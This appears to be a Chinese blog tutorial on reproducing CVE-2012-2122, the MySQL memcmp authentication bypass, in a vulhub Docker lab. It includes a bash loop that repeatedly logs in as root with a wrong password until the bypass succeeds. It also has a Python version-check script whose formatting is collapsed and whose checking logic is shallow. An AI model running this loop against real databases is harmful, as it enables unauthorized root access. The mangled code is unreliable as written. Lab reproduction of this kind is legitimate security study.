当前位置: 首页 > news >正文

Mysql 身份认证绕过漏洞 CVE-2012-2122

前言:CVE-2012-2122 是一个影响 MySQL 和 MariaDB 的身份验证漏洞,存在于特定版本中

vulhub/mysql/CVE-2012-2122/README.zh-cn.md at master · vulhub/vulhubhttps://github.com/vulhub/vulhub/blob/master/mysql/CVE-2012-2122/README.zh-cn.md

任务一 介绍 CVE-2012-2122

CVE 编号:CVE-2012-2122
披露时间:2012 年 6 月
漏洞类型:认证绕过(Authentication Bypass)
攻击类型:远程攻击,无需认证(Remote / Unauthenticated)
CVSS 评分:10.0(最高危)
攻击者可在不使用正确密码的情况下,通过反复尝试连接,以一定概率获得数据库的访问权限,包括 root 用户权限。
MySQL 在特定版本中,密码认证逻辑依赖 memcmp() 函数来比对密码哈希。但某些平台或编译器(如 GCC 编译的 Linux x86_64)优化后返回值未严格为 0 或非 0,而是返回正负整数错误的核心是:
if (!memcmp(user_input_hash, stored_hash, 20))
{// 登录成功
}原意是“如果两个哈希相等(返回值为 0)则通过”,但编译优化或符号扩展可能让返回值表现不稳定,导致错误判断于是只要攻击者足够频繁地发送错误密码,在特定概率(大约 1/256)下,memcmp 返回的非零值可能被误判为 “密码正确”,从而通过认证

任务二 启动环境 

cd mysql/CVE-2012-2122/
docker compose up -d

sudo apt update
sudo apt install mysql-client-core-8.0
//安装 MySQL 客户端//如果是MariaDB(一般情况不是)
sudo apt install mariadb-client-core

 

任务三 攻击 

for i in `seq 1 1000`; domysql -h 127.0.0.1 -P 3306 -uroot -pwrong_password 2>/dev/null
done//以下是可能出现的报错
//这是因为 mysql 命令默认尝试通过本地 socket 文件连接 MySQL,但:
复现环境中 MySQL 是跑在容器里,未通过本地 socket 暴露服务。

for i in `seq 1 1000`; domysql -h 127.0.0.1 -P 3306 -uroot -p123 2>/dev/null
done//改进代码

 

任务四 修复 | 验证 

import subprocessdef check_cve_2012_2122():try:output = subprocess.check_output("mysql --version", shell=True)version = output.decode().strip().split()[4].rstrip(',')affected_versions = ['5.1.62', '5.5.23', '5.6.5']  # 示例版本if version in affected_versions:return "Vulnerable"return "Patched"except Exception as e:return f"Error: {e}"

参考链接

  • MITRE CVE-2012-2122
  • MySQL Security Advisory

 

 

 

 

 

 

相关文章:

  • OpenResty 安装指南
  • DNS攻击类型有哪些?如何应对DNS攻击威胁?
  • 12.MySQL视图特性
  • 高敏感应用如何保护自身不被逆向?iOS 安全加固策略与工具组合实战(含 Ipa Guard 等)
  • 无法下载CUDA,下载界面链接打开异常
  • Linux网络——socket网络通信udp
  • 13.4 AI颠覆语言学习:预录制视频+GPT-4评估如何实现60%成本降低与40%留存飙升
  • JSON Web Token (JWT) 详解:由来、原理与应用实践
  • CloudCompare——计算点云表面曲率
  • 基于Docker Compose部署Java微服务项目
  • day47 TensorBoard学习
  • Java 异步编程难题及拆解技术
  • 在嵌入式中C语言中static修饰的变量常量和字符串常量存储位置
  • Flink 高可用集群部署指南
  • 【Algorithm】Union-Find简单介绍
  • Filebeat收集nginx日志到elasticsearch,最终在kibana做展示(二)
  • JAVA之 Lambda
  • 算法训练第九天
  • docker快速部署OS web中间件 数据库 编程应用
  • 第14节 Node.js 全局对象
  • html5企业网站建设/手机百度网页版
  • 做网站领券收佣金/杭州seo公司哪家好
  • 做网站首选智投未来1/网站优化培训学校
  • 助孕网站优化推广/专业seo推广
  • 西安网站建设app建设/营销推广怎么做
  • 做游戏网站在哪里找/网站搭建源码